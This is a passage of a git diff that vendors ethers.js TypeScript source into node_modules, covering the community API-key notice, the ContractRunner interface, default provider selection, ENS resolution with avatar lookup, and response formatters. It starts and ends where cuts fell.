VoidSigner(this.address, provider); + } + + #throwUnsupported(suffix: string, operation: string): never { + assert(false, `VoidSigner cannot sign ${ suffix }`, "UNSUPPORTED_OPERATION", { operation }); + } + + async signTransaction(tx: TransactionRequest): Promise { + this.#throwUnsupported("transactions", "signTransaction"); + } + + async signMessage(message: string | Uint8Array): Promise { + this.#throwUnsupported("messages", "signMessage"); + } + + async signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise { + this.#throwUnsupported("typed-data", "signTypedData"); + } +} + diff --git a/node_modules/ethers/src.ts/providers/community.ts b/node_modules/ethers/src.ts/providers/community.ts new file mode 100644 index 000000000000..93166e24435b --- /dev/null +++ b/node_modules/ethers/src.ts/providers/community.ts @@ -0,0 +1,49 @@ +/** + * There are many awesome community services that provide Ethereum + * nodes both for developers just starting out and for large-scale + * communities. + * + * @_section: api/providers/thirdparty: Community Providers [thirdparty] + */ + +/** + * Providers which offer community credentials should extend this + * to notify any interested consumers whether community credentials + * are in-use. + */ +export interface CommunityResourcable { + /** + * Returns true if the instance is connected using the community + * credentials. + */ + isCommunityResource(): boolean; +} + +// Show the throttle message only once per service +const shown: Set = new Set(); + +/** + * Displays a warning in the console when the community resource is + * being used too heavily by the app, recommending the developer + * acquire their own credentials instead of using the community + * credentials. + * + * The notification will only occur once per service. + */ +export function showThrottleMessage(service: string): void { + if (shown.has(service)) { return; } + shown.add(service); + + console.log("========= NOTICE =========") + console.log(`Request-Rate Exceeded for ${ service } (this message will not be repeated)`); + console.log(""); + console.log("The default API keys for each service are provided as a highly-throttled,"); + console.log("community resource for low-traffic projects and early prototyping."); + console.log(""); + console.log("While your application will continue to function, we highly recommended"); + console.log("signing up for your own API keys to improve performance, increase your"); + console.log("request rate/limit and enable other perks, such as metrics and advanced APIs."); + console.log(""); + console.log("For more details: https:/\/docs.ethers.org/api-keys/"); + console.log("=========================="); +} diff --git a/node_modules/ethers/src.ts/providers/contracts.ts b/node_modules/ethers/src.ts/providers/contracts.ts new file mode 100644 index 000000000000..abb6d2b87714 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/contracts.ts @@ -0,0 +1,42 @@ +import type { + Provider, TransactionRequest, TransactionResponse +} from "./provider.js"; + +/** + * A **ContractRunner** is a generic interface which defines an object + * capable of interacting with a Contract on the network. + * + * The more operations supported, the more utility it is capable of. + * + * The most common ContractRunners are [Providers](Provider) which enable + * read-only access and [Signers](Signer) which enable write-access. + */ +export interface ContractRunner { + /** + * The provider used for necessary state querying operations. + * + * This can also point to the **ContractRunner** itself, in the + * case of an [[AbstractProvider]]. + */ + provider: null | Provider; + + /** + * Required to estimate gas. + */ + estimateGas?: (tx: TransactionRequest) => Promise; + + /** + * Required for pure, view or static calls to contracts. + */ + call?: (tx: TransactionRequest) => Promise; + + /** + * Required to support ENS names + */ + resolveName?: (name: string) => Promise; + + /** + * Required for state mutating calls + */ + sendTransaction?: (tx: TransactionRequest) => Promise; +} diff --git a/node_modules/ethers/src.ts/providers/default-provider.ts b/node_modules/ethers/src.ts/providers/default-provider.ts new file mode 100644 index 000000000000..9ee6cdfafe40 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/default-provider.ts @@ -0,0 +1,202 @@ + +import { assert } from "../utils/index.js"; + +import { AnkrProvider } from "./provider-ankr.js"; +import { AlchemyProvider } from "./provider-alchemy.js"; +//import { BlockscoutProvider } from "./provider-blockscout.js"; +import { ChainstackProvider } from "./provider-chainstack.js"; +import { CloudflareProvider } from "./provider-cloudflare.js"; +import { EtherscanProvider } from "./provider-etherscan.js"; +import { InfuraProvider } from "./provider-infura.js"; +//import { PocketProvider } from "./provider-pocket.js"; +import { QuickNodeProvider } from "./provider-quicknode.js"; + +import { FallbackProvider } from "./provider-fallback.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import { Network } from "./network.js"; +import { WebSocketProvider } from "./provider-websocket.js"; + +import type { AbstractProvider } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +import { WebSocketLike } from "./provider-websocket.js"; + +function isWebSocketLike(value: any): value is WebSocketLike { + return (value && typeof(value.send) === "function" && + typeof(value.close) === "function"); +} + +const Testnets = "goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt".split(" "); + +/** + * Returns a default provider for %%network%%. + * + * If %%network%% is a [[WebSocketLike]] or string that begins with + * ``"ws:"`` or ``"wss:"``, a [[WebSocketProvider]] is returned backed + * by that WebSocket or URL. + * + * If %%network%% is a string that begins with ``"HTTP:"`` or ``"HTTPS:"``, + * a [[JsonRpcProvider]] is returned connected to that URL. + * + * Otherwise, a default provider is created backed by well-known public + * Web3 backends (such as [[link-infura]]) using community-provided API + * keys. + * + * The %%options%% allows specifying custom API keys per backend (setting + * an API key to ``"-"`` will omit that provider) and ``options.exclusive`` + * can be set to either a backend name or and array of backend names, which + * will whitelist **only** those backends. + * + * Current backend strings supported are: + * - ``"alchemy"`` + * - ``"ankr"`` + * - ``"cloudflare"`` + * - ``"chainstack"`` + * - ``"etherscan"`` + * - ``"infura"`` + * - ``"publicPolygon"`` + * - ``"quicknode"`` + * + * @example: + * // Connect to a local Geth node + * provider = getDefaultProvider("http://localhost:8545/"); + * + * // Connect to Ethereum mainnet with any current and future + * // third-party services available + * provider = getDefaultProvider("mainnet"); + * + * // Connect to Polygon, but only allow Etherscan and + * // INFURA and use "MY_API_KEY" in calls to Etherscan. + * provider = getDefaultProvider("matic", { + * etherscan: "MY_API_KEY", + * exclusive: [ "etherscan", "infura" ] + * }); + */ +export function getDefaultProvider(network?: string | Networkish | WebSocketLike, options?: any): AbstractProvider { + if (options == null) { options = { }; } + + const allowService = (name: string) => { + if (options[name] === "-") { return false; } + if (typeof(options.exclusive) === "string") { + return (name === options.exclusive); + } + if (Array.isArray(options.exclusive)) { + return (options.exclusive.indexOf(name) !== -1); + } + return true; + }; + + if (typeof(network) === "string" && network.match(/^https?:/)) { + return new JsonRpcProvider(network); + } + + if (typeof(network) === "string" && network.match(/^wss?:/) || isWebSocketLike(network)) { + return new WebSocketProvider(network); + } + + // Get the network and name, if possible + let staticNetwork: null | Network = null; + try { + staticNetwork = Network.from(network); + } catch (error) { } + + + const providers: Array = [ ]; + + if (allowService("publicPolygon") && staticNetwork) { + if (staticNetwork.name === "matic") { + providers.push(new JsonRpcProvider("https:/\/polygon-rpc.com/", staticNetwork, { staticNetwork })); + } else if (staticNetwork.name === "matic-amoy") { + providers.push(new JsonRpcProvider("https:/\/rpc-amoy.polygon.technology/", staticNetwork, { staticNetwork })); + } + } + + if (allowService("alchemy")) { + try { + providers.push(new AlchemyProvider(network, options.alchemy)); + } catch (error) { } + } + + if (allowService("ankr") && options.ankr != null) { + try { + providers.push(new AnkrProvider(network, options.ankr)); + } catch (error) { } + } +/* Temporarily remove until custom error issue is fixed + if (allowService("blockscout")) { + try { + providers.push(new BlockscoutProvider(network, options.blockscout)); + } catch (error) { } + } +*/ + if (allowService("chainstack")) { + try { + providers.push(new ChainstackProvider(network, options.chainstack)); + } catch (error) { } + } + + if (allowService("cloudflare")) { + try { + providers.push(new CloudflareProvider(network)); + } catch (error) { } + } + + if (allowService("etherscan")) { + try { + providers.push(new EtherscanProvider(network, options.etherscan)); + } catch (error) { } + } + + if (allowService("infura")) { + try { + let projectId = options.infura; + let projectSecret: undefined | string = undefined; + if (typeof(projectId) === "object") { + projectSecret = projectId.projectSecret; + projectId = projectId.projectId; + } + providers.push(new InfuraProvider(network, projectId, projectSecret)); + } catch (error) { } + } +/* + if (options.pocket !== "-") { + try { + let appId = options.pocket; + let secretKey: undefined | string = undefined; + let loadBalancer: undefined | boolean = undefined; + if (typeof(appId) === "object") { + loadBalancer = !!appId.loadBalancer; + secretKey = appId.secretKey; + appId = appId.appId; + } + providers.push(new PocketProvider(network, appId, secretKey, loadBalancer)); + } catch (error) { console.log(error); } + } +*/ + if (allowService("quicknode")) { + try { + let token = options.quicknode; + providers.push(new QuickNodeProvider(network, token)); + } catch (error) { } + } + + assert(providers.length, "unsupported default network", "UNSUPPORTED_OPERATION", { + operation: "getDefaultProvider" + }); + + // No need for a FallbackProvider + if (providers.length === 1) { return providers[0]; } + + // We use the floor because public third-party providers can be unreliable, + // so a low number of providers with a large quorum will fail too often + let quorum = Math.floor(providers.length / 2); + if (quorum > 2) { quorum = 2; } + + // Testnets don't need as strong a security gaurantee and speed is + // more useful during testing + if (staticNetwork && Testnets.indexOf(staticNetwork.name) !== -1) { quorum = 1; } + + // Provided override qorum takes priority + if (options && options.quorum) { quorum = options.quorum; } + + return new FallbackProvider(providers, undefined, { quorum }); +} diff --git a/node_modules/ethers/src.ts/providers/ens-resolver.ts b/node_modules/ethers/src.ts/providers/ens-resolver.ts new file mode 100644 index 000000000000..5265be133f65 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/ens-resolver.ts @@ -0,0 +1,606 @@ +/** + * ENS is a service which allows easy-to-remember names to map to + * network addresses. + * + * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver] + */ + +import { getAddress } from "../address/index.js"; +import { ZeroAddress } from "../constants/index.js"; +import { Contract } from "../contract/index.js"; +import { dnsEncode, namehash } from "../hash/index.js"; +import { + hexlify, isHexString, toBeHex, + defineProperties, encodeBase58, + assert, assertArgument, isError, + FetchRequest +} from "../utils/index.js"; + +import type { FunctionFragment } from "../abi/index.js"; + +import type { BytesLike } from "../utils/index.js"; + +import type { AbstractProvider, AbstractProviderPlugin } from "./abstract-provider.js"; +import type { EnsPlugin } from "./plugins-network.js"; +import type { Provider } from "./provider.js"; + +// @TODO: This should use the fetch-data:ipfs gateway +// Trim off the ipfs:// prefix and return the default gateway URL +function getIpfsLink(link: string): string { + if (link.match(/^ipfs:\/\/ipfs\//i)) { + link = link.substring(12); + } else if (link.match(/^ipfs:\/\//i)) { + link = link.substring(7); + } else { + assertArgument(false, "unsupported IPFS format", "link", link); + } + + return `https:/\/gateway.ipfs.io/ipfs/${ link }`; +} + +/** + * The type of data found during a steip during avatar resolution. + */ +export type AvatarLinkageType = "name" | "avatar" | "!avatar" | "url" | "data" | "ipfs" | + "erc721" | "erc1155" | "!erc721-caip" | "!erc1155-caip" | + "!owner" | "owner" | "!balance" | "balance" | + "metadata-url-base" | "metadata-url-expanded" | "metadata-url" | "!metadata-url" | + "!metadata" | "metadata" | + "!imageUrl" | "imageUrl-ipfs" | "imageUrl" | "!imageUrl-ipfs"; + +/** + * An individual record for each step during avatar resolution. + */ +export interface AvatarLinkage { + /** + * The type of linkage. + */ + type: AvatarLinkageType; + + /** + * The linkage value. + */ + value: string; +}; + +/** + * When resolving an avatar for an ENS name, there are many + * steps involved, fetching metadata, validating results, et cetera. + * + * Some applications may wish to analyse this data, or use this data + * to diagnose promblems, so an **AvatarResult** provides details of + * each completed step during avatar resolution. + */ +export interface AvatarResult { + /** + * How the [[url]] was arrived at, resolving the many steps required + * for an avatar URL. + */ + linkage: Array; + + /** + * The avatar URL or null if the avatar was not set, or there was + * an issue during validation (such as the address not owning the + * avatar or a metadata error). + */ + url: null | string; +}; + +/** + * A provider plugin super-class for processing multicoin address types. + */ +export abstract class MulticoinProviderPlugin implements AbstractProviderPlugin { + /** + * The name. + */ + readonly name!: string; + + /** + * Creates a new **MulticoinProviderPluing** for %%name%%. + */ + constructor(name: string) { + defineProperties(this, { name }); + } + + connect(proivder: Provider): MulticoinProviderPlugin { + return this; + } + + /** + * Returns ``true`` if %%coinType%% is supported by this plugin. + */ + supportsCoinType(coinType: number): boolean { + return false; + } + + /** + * Resolves to the encoded %%address%% for %%coinType%%. + */ + async encodeAddress(coinType: number, address: string): Promise { + throw new Error("unsupported coin"); + } + + /** + * Resolves to the decoded %%data%% for %%coinType%%. + */ + async decodeAddress(coinType: number, data: BytesLike): Promise { + throw new Error("unsupported coin"); + } +} + +const BasicMulticoinPluginId = "org.ethers.plugins.provider.BasicMulticoin"; + +/** + * A **BasicMulticoinProviderPlugin** provides service for common + * coin types, which do not require additional libraries to encode or + * decode. + */ +export class BasicMulticoinProviderPlugin extends MulticoinProviderPlugin { + /** + * Creates a new **BasicMulticoinProviderPlugin**. + */ + constructor() { + super(BasicMulticoinPluginId); + } +} + +const matcherIpfs = new RegExp("^(ipfs):/\/(.*)$", "i"); +const matchers = [ + new RegExp("^(https):/\/(.*)$", "i"), + new RegExp("^(data):(.*)$", "i"), + matcherIpfs, + new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$", "i"), +]; + +/** + * A connected object to a resolved ENS name resolver, which can be + * used to query additional details. + */ +export class EnsResolver { + /** + * The connected provider. + */ + provider!: AbstractProvider; + + /** + * The address of the resolver. + */ + address!: string; + + /** + * The name this resolver was resolved against. + */ + name!: string; + + // For EIP-2544 names, the ancestor that provided the resolver + #supports2544: null | Promise; + + #resolver: Contract; + + constructor(provider: AbstractProvider, address: string, name: string) { + defineProperties(this, { provider, address, name }); + this.#supports2544 = null; + + this.#resolver = new Contract(address, [ + "function supportsInterface(bytes4) view returns (bool)", + "function resolve(bytes, bytes) view returns (bytes)", + "function addr(bytes32) view returns (address)", + "function addr(bytes32, uint) view returns (bytes)", + "function text(bytes32, string) view returns (string)", + "function contenthash(bytes32) view returns (bytes)", + ], provider); + + } + + /** + * Resolves to true if the resolver supports wildcard resolution. + */ + async supportsWildcard(): Promise { + if (this.#supports2544 == null) { + this.#supports2544 = (async () => { + try { + return await this.#resolver.supportsInterface("0x9061b923"); + } catch (error) { + // Wildcard resolvers must understand supportsInterface + // and return true. + if (isError(error, "CALL_EXCEPTION")) { return false; } + + // Let future attempts try again... + this.#supports2544 = null; + + throw error; + } + })(); + } + + return await this.#supports2544; + } + + async #fetch(funcName: string, params?: Array): Promise { + params = (params || []).slice(); + const iface = this.#resolver.interface; + + // The first parameters is always the nodehash + params.unshift(namehash(this.name)) + + let fragment: null | FunctionFragment = null; + if (await this.supportsWildcard()) { + fragment = iface.getFunction(funcName); + assert(fragment, "missing fragment", "UNKNOWN_ERROR", { + info: { funcName } + }); + + params = [ + dnsEncode(this.name, 255), + iface.encodeFunctionData(fragment, params) + ]; + + funcName = "resolve(bytes,bytes)"; + } + + params.push({ + enableCcipRead: true + }); + + try { + const result = await this.#resolver[funcName](...params); + + if (fragment) { + return iface.decodeFunctionResult(fragment, result)[0]; + } + + return result; + } catch (error: any) { + if (!isError(error, "CALL_EXCEPTION")) { throw error; } + } + + return null; + } + + /** + * Resolves to the address for %%coinType%% or null if the + * provided %%coinType%% has not been configured. + */ + async getAddress(coinType?: number): Promise { + if (coinType == null) { coinType = 60; } + if (coinType === 60) { + try { + const result = await this.#fetch("addr(bytes32)"); + + // No address + if (result == null || result === ZeroAddress) { return null; } + + return result; + } catch (error: any) { + if (isError(error, "CALL_EXCEPTION")) { return null; } + throw error; + } + } + + // Try decoding its EVM canonical chain as an EVM chain address first + if (coinType >= 0 && coinType < 0x80000000) { + let ethCoinType = coinType + 0x80000000; + + const data = await this.#fetch("addr(bytes32,uint)", [ ethCoinType ]); + if (isHexString(data, 20)) { return getAddress(data); } + } + + let coinPlugin: null | MulticoinProviderPlugin = null; + for (const plugin of this.provider.plugins) { + if (!(plugin instanceof MulticoinProviderPlugin)) { continue; } + if (plugin.supportsCoinType(coinType)) { + coinPlugin = plugin; + break; + } + } + + if (coinPlugin == null) { return null; } + + // keccak256("addr(bytes32,uint256") + const data = await this.#fetch("addr(bytes32,uint)", [ coinType ]); + + // No address + if (data == null || data === "0x") { return null; } + + // Compute the address + const address = await coinPlugin.decodeAddress(coinType, data); + + if (address != null) { return address; } + + assert(false, `invalid coin data`, "UNSUPPORTED_OPERATION", { + operation: `getAddress(${ coinType })`, + info: { coinType, data } + }); + } + + /** + * Resolves to the EIP-634 text record for %%key%%, or ``null`` + * if unconfigured. + */ + async getText(key: string): Promise { + const data = await this.#fetch("text(bytes32,string)", [ key ]); + if (data == null || data === "0x") { return null; } + return data; + } + + /** + * Rsolves to the content-hash or ``null`` if unconfigured. + */ + async getContentHash(): Promise { + // keccak256("contenthash()") + const data = await this.#fetch("contenthash(bytes32)"); + + // No contenthash + if (data == null || data === "0x") { return null; } + + // IPFS (CID: 1, Type: 70=DAG-PB, 72=libp2p-key) + const ipfs = data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); + if (ipfs) { + const scheme = (ipfs[1] === "e3010170") ? "ipfs": "ipns"; + const length = parseInt(ipfs[4], 16); + if (ipfs[5].length === length * 2) { + return `${ scheme }:/\/${ encodeBase58("0x" + ipfs[2])}`; + } + } + + // Swarm (CID: 1, Type: swarm-manifest; hash/length hard-coded to keccak256/32) + const swarm = data.match(/^0xe40101fa011b20([0-9a-f]*)$/) + if (swarm && swarm[1].length === 64) { + return `bzz:/\/${ swarm[1] }`; + } + + assert(false, `invalid or unsupported content hash data`, "UNSUPPORTED_OPERATION", { + operation: "getContentHash()", + info: { data } + }); + } + + /** + * Resolves to the avatar url or ``null`` if the avatar is either + * unconfigured or incorrectly configured (e.g. references an NFT + * not owned by the address). + * + * If diagnosing issues with configurations, the [[_getAvatar]] + * method may be useful. + */ + async getAvatar(): Promise { + const avatar = await this._getAvatar(); + return avatar.url; + } + + /** + * When resolving an avatar, there are many steps involved, such + * fetching metadata and possibly validating ownership of an + * NFT. + * + * This method can be used to examine each step and the value it + * was working from. + */ + async _getAvatar(): Promise { + const linkage: Array = [ { type: "name", value: this.name } ]; + try { + // test data for ricmoo.eth + //const avatar = "eip155:1/erc721:0x265385c7f4132228A0d54EB1A9e7460b91c0cC68/29233"; + const avatar = await this.getText("avatar"); + if (avatar == null) { + linkage.push({ type: "!avatar", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "avatar", value: avatar }); + + for (let i = 0; i < matchers.length; i++) { + const match = avatar.match(matchers[i]); + if (match == null) { continue; } + + const scheme = match[1].toLowerCase(); + + switch (scheme) { + case "https": + case "data": + linkage.push({ type: "url", value: avatar }); + return { linkage, url: avatar }; + case "ipfs": { + const url = getIpfsLink(avatar); + linkage.push({ type: "ipfs", value: avatar }); + linkage.push({ type: "url", value: url }); + return { linkage, url }; + } + + case "erc721": + case "erc1155": { + // Depending on the ERC type, use tokenURI(uint256) or url(uint256) + const selector = (scheme === "erc721") ? "tokenURI(uint256)": "uri(uint256)"; + linkage.push({ type: scheme, value: avatar }); + + // The owner of this name + const owner = await this.getAddress(); + if (owner == null) { + linkage.push({ type: "!owner", value: "" }); + return { url: null, linkage }; + } + + const comps = (match[2] || "").split("/"); + if (comps.length !== 2) { + linkage.push({ type: `!${ scheme }caip`, value: (match[2] || "") }); + return { url: null, linkage }; + } + + const tokenId = comps[1]; + + const contract = new Contract(comps[0], [ + // ERC-721 + "function tokenURI(uint) view returns (string)", + "function ownerOf(uint) view returns (address)", + + // ERC-1155 + "function uri(uint) view returns (string)", + "function balanceOf(address, uint256) view returns (uint)" + ], this.provider); + + // Check that this account owns the token + if (scheme === "erc721") { + const tokenOwner = await contract.ownerOf(tokenId); + + if (owner !== tokenOwner) { + linkage.push({ type: "!owner", value: tokenOwner }); + return { url: null, linkage }; + } + linkage.push({ type: "owner", value: tokenOwner }); + + } else if (scheme === "erc1155") { + const balance = await contract.balanceOf(owner, tokenId); + if (!balance) { + linkage.push({ type: "!balance", value: "0" }); + return { url: null, linkage }; + } + linkage.push({ type: "balance", value: balance.toString() }); + } + + // Call the token contract for the metadata URL + let metadataUrl = await contract[selector](tokenId); + if (metadataUrl == null || metadataUrl === "0x") { + linkage.push({ type: "!metadata-url", value: "" }); + return { url: null, linkage }; + } + + linkage.push({ type: "metadata-url-base", value: metadataUrl }); + + // ERC-1155 allows a generic {id} in the URL + if (scheme === "erc1155") { + metadataUrl = metadataUrl.replace("{id}", toBeHex(tokenId, 32).substring(2)); + linkage.push({ type: "metadata-url-expanded", value: metadataUrl }); + } + + // Transform IPFS metadata links + if (metadataUrl.match(/^ipfs:/i)) { + metadataUrl = getIpfsLink(metadataUrl); + } + linkage.push({ type: "metadata-url", value: metadataUrl }); + + // Get the token metadata + let metadata: any = { }; + const response = await (new FetchRequest(metadataUrl)).send(); + response.assertOk(); + + try { + metadata = response.bodyJson; + } catch (error) { + try { + linkage.push({ type: "!metadata", value: response.bodyText }); + } catch (error) { + const bytes = response.body; + if (bytes) { + linkage.push({ type: "!metadata", value: hexlify(bytes) }); + } + return { url: null, linkage }; + } + return { url: null, linkage }; + } + + if (!metadata) { + linkage.push({ type: "!metadata", value: "" }); + return { url: null, linkage }; + } + + linkage.push({ type: "metadata", value: JSON.stringify(metadata) }); + + // Pull the image URL out + let imageUrl = metadata.image; + if (typeof(imageUrl) !== "string") { + linkage.push({ type: "!imageUrl", value: "" }); + return { url: null, linkage }; + } + + if (imageUrl.match(/^(https:\/\/|data:)/i)) { + // Allow + } else { + // Transform IPFS link to gateway + const ipfs = imageUrl.match(matcherIpfs); + if (ipfs == null) { + linkage.push({ type: "!imageUrl-ipfs", value: imageUrl }); + return { url: null, linkage }; + } + + linkage.push({ type: "imageUrl-ipfs", value: imageUrl }); + imageUrl = getIpfsLink(imageUrl); + } + + linkage.push({ type: "url", value: imageUrl }); + + return { linkage, url: imageUrl }; + } + } + } + } catch (error) { } + + return { linkage, url: null }; + } + + static async getEnsAddress(provider: Provider): Promise { + const network = await provider.getNetwork(); + + const ensPlugin = network.getPlugin("org.ethers.plugins.network.Ens"); + + // No ENS... + assert(ensPlugin, "network does not support ENS", "UNSUPPORTED_OPERATION", { + operation: "getEnsAddress", info: { network } }); + + return ensPlugin.address; + } + + static async #getResolver(provider: Provider, name: string): Promise { + const ensAddr = await EnsResolver.getEnsAddress(provider); + + try { + const contract = new Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], provider); + + const addr = await contract.resolver(namehash(name), { + enableCcipRead: true + }); + + if (addr === ZeroAddress) { return null; } + return addr; + + } catch (error) { + // ENS registry cannot throw errors on resolver(bytes32), + // so probably a link error + throw error; + } + + return null; + } + + /** + * Resolve to the ENS resolver for %%name%% using %%provider%% or + * ``null`` if unconfigured. + */ + static async fromName(provider: AbstractProvider, name: string): Promise { + + let currentName = name; + while (true) { + if (currentName === "" || currentName === ".") { return null; } + + // Optimization since the eth node cannot change and does + // not have a wildcard resolver + if (name !== "eth" && currentName === "eth") { return null; } + + // Check the current node for a resolver + const addr = await EnsResolver.#getResolver(provider, currentName); + + // Found a resolver! + if (addr != null) { + const resolver = new EnsResolver(provider, addr, name); + + // Legacy resolver found, using EIP-2544 so it isn't safe to use + if (currentName !== name && !(await resolver.supportsWildcard())) { return null; } + + return resolver; + } + + // Get the parent node + currentName = currentName.split(".").slice(1).join("."); + } + } +} diff --git a/node_modules/ethers/src.ts/providers/format.ts b/node_modules/ethers/src.ts/providers/format.ts new file mode 100644 index 000000000000..40720d1ef8f3 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/format.ts @@ -0,0 +1,335 @@ +/** + * @_ignore + */ +import { getAddress, getCreateAddress } from "../address/index.js"; +import { Signature } from "../crypto/index.js" +import { accessListify } from "../transaction/index.js"; +import { + getBigInt, getNumber, hexlify, isHexString, zeroPadValue, + assert, assertArgument +} from "../utils/index.js"; + +import type { SignatureLike } from "../crypto/index.js" +import type { + BlockParams, LogParams, + TransactionReceiptParams, TransactionResponseParams, +} from "./formatting.js"; + + +const BN_0 = BigInt(0); + +export type FormatFunc = (value: any) => any; + +export function allowNull(format: FormatFunc, nullValue?: any): FormatFunc { + return (function(value: any) { + if (value == null) { return nullValue; } + return format(value); + }); +} + +export function arrayOf(format: FormatFunc, allowNull?: boolean): FormatFunc { + return ((array: any) => { + if (allowNull && array == null) { return null; } + if (!Array.isArray(array)) { throw new Error("not an array"); } + return array.map((i) => format(i)); + }); +} + +// Requires an object which matches a fleet of other formatters +// Any FormatFunc may return `undefined` to have the value omitted +// from the result object. Calls preserve `this`. +export function object(format: Record, altNames?: Record>): FormatFunc { + return ((value: any) => { + const result: any = { }; + for (const key in format) { + let srcKey = key; + if (altNames && key in altNames && !(srcKey in value)) { + for (const altKey of altNames[key]) { + if (altKey in value) { + srcKey = altKey; + break; + } + } + } + + try { + const nv = format[key](value[srcKey]); + if (nv !== undefined) { result[key] = nv; } + } catch (error) { + const message = (error instanceof Error) ? error.message: "not-an-error"; + assert(false, `invalid value for value.${ key } (${ message })`, "BAD_DATA", { value }) + } + } + return result; + }); +} + +export function formatBoolean(value: any): boolean { + switch (value) { + case true: case "true": + return true; + case false: case "false": + return false; + } + assertArgument(false, `invalid boolean; ${ JSON.stringify(value) }`, "value", value); +} + +export function formatData(value: string): string { + assertArgument(isHexString(value, true), "invalid data", "value", value); + return value; +} + +export function formatHash(value: any): string { + assertArgument(isHexString(value, 32), "invalid hash", "value", value); + return value; +} + +export function formatUint256(value: any): string { + if (!isHexString(value)) { + throw new Error("invalid uint256"); + } + return zeroPadValue(value, 32); +} + +const _formatLog = object({ + address: getAddress, + blockHash: formatHash, + blockNumber: getNumber, + data: formatData, + index: getNumber, + removed: allowNull(formatBoolean, false), + topics: arrayOf(formatHash), + transactionHash: formatHash, + transactionIndex: getNumber, +}, { + index: [ "logIndex" ] +}); + +export function formatLog(value: any): LogParams { + return _formatLog(value); +} + +const _formatBlock = object({ + hash: allowNull(formatHash), + parentHash: formatHash, + parentBeaconBlockRoot: allowNull(formatHash, null), + + number: getNumber, + + timestamp: getNumber, + nonce: allowNull(formatData), + difficulty: getBigInt, + + gasLimit: getBigInt, + gasUsed: getBigInt, + + stateRoot: allowNull(formatHash, null), + receiptsRoot: allowNull(formatHash, null), + + blobGasUsed: allowNull(getBigInt, null), + excessBlobGas: allowNull(getBigInt, null), + + miner: allowNull(getAddress), + prevRandao: allowNull(formatHash, null), + extraData: formatData, + + baseFeePerGas: allowNull(getBigInt) +}, { + prevRandao: [ "mixHash" ] +}); + +export function formatBlock(value: any): BlockParams { + const result = _formatBlock(value); + result.transactions = value.transactions.map((tx: string | TransactionResponseParams) => { + if (typeof(tx) === "string") { return tx; } + return formatTransactionResponse(tx); + }); + return result; +} + +const _formatReceiptLog = object({ + transactionIndex: getNumber, + blockNumber: getNumber, + transactionHash: formatHash, + address: getAddress, + topics: arrayOf(formatHash), + data: formatData, + index: getNumber, + blockHash: formatHash, +}, { + index: [ "logIndex" ] +}); + +export function formatReceiptLog(value: any): LogParams { + return _formatReceiptLog(value); +} + +const _formatTransactionReceipt = object({ + to: allowNull(getAddress, null), + from: allowNull(getAddress, null), + contractAddress: allowNull(getAddress, null), + // should be allowNull(hash), but broken-EIP-658 support is handled in receipt + index: getNumber, + root: allowNull(hexlify), + gasUsed: getBigInt, + blobGasUsed: allowNull(getBigInt, null), + logsBloom: allowNull(formatData), + blockHash: formatHash, + hash: formatHash, + logs: arrayOf(formatReceiptLog), + blockNumber: getNumber, + //confirmations: allowNull(getNumber, null), + cumulativeGasUsed: getBigInt, + effectiveGasPrice: allowNull(getBigInt), + blobGasPrice: allowNull(getBigInt, null), + status: allowNull(getNumber), + type: allowNull(getNumber, 0) +}, { + effectiveGasPrice: [ "gasPrice" ], + hash: [ "transactionHash" ], + index: [ "transactionIndex" ], +}); + +export function formatTransactionReceipt(value: any): TransactionReceiptParams { + return _formatTransactionReceipt(value); +} + +export function formatTransactionResponse(value: any): TransactionResponseParams { + + // Some clients (TestRPC) do strange things like return 0x0 for the + // 0 address; correct this to be a real address + if (value.to && getBigInt(value.to) === BN_0) { + value.to = "0x0000000000000000000000000000000000000000"; + } + + const result = object({ + hash: formatHash, + + // Some nodes do not return this, usually test nodes (like Ganache) + index: allowNull(getNumber, undefined), + + type: (value: any) => { + if (value === "0x" || value == null) { return 0; } + return getNumber(value); + }, + accessList: allowNull(accessListify, null), + blobVersionedHashes: allowNull(arrayOf(formatHash, true), null), + + authorizationList: allowNull(arrayOf((v: any) => { + let sig: SignatureLike; + if (v.signature) { + sig = v.signature; + + } else { + let yParity = v.yParity; + if (yParity === "0x1b") { + yParity = 0; + } else if (yParity === "0x1c") { + yParity = 1; + } + sig = Object.assign({ }, v, { yParity }); + } + + return { + address: getAddress(v.address), + chainId: getBigInt(v.chainId), + nonce: getBigInt(v.nonce), + signature: Signature.from(sig) + }; + }, false), null), + + blockHash: allowNull(formatHash, null), + blockNumber: allowNull(getNumber, null), + transactionIndex: allowNull(getNumber, null), + + from: getAddress, + + // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) must be set + gasPrice: allowNull(getBigInt), + maxPriorityFeePerGas: allowNull(getBigInt), + maxFeePerGas: allowNull(getBigInt), + maxFeePerBlobGas: allowNull(getBigInt, null), + + gasLimit: getBigInt, + to: allowNull(getAddress, null), + value: getBigInt, + nonce: getNumber, + data: formatData, + + creates: allowNull(getAddress, null), + + chainId: allowNull(getBigInt, null) + }, { + data: [ "input" ], + gasLimit: [ "gas" ], + index: [ "transactionIndex" ] + })(value); + + // If to and creates are empty, populate the creates from the value + if (result.to == null && result.creates == null) { + result.creates = getCreateAddress(result); + } + + // @TODO: Check fee data + + // Add an access list to supported transaction types + if ((value.type === 1 || value.type === 2) && value.accessList == null) { + result.accessList = [ ]; + } + + // Compute the signature + if (value.signature) { + result.signature = Signature.from(value.signature); + } else { + result.signature = Signature.from(value); + } + + // Some backends omit ChainId on legacy transactions, but we can compute it + if (result.chainId == null) { + const chainId = result.signature.legacyChainId; + if (chainId != null) { result.chainId = chainId; } + } + + + // @TODO: check chainID + /* + if (value.chainId != null) { + let chainId = value.chainId; + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + result.chainId = chainId; + + } else { + let chainId = value.networkId; + + // geth-etc returns chainId + if (chainId == null && result.v == null) { + chainId = value.chainId; + } + + if (isHexString(chainId)) { + chainId = 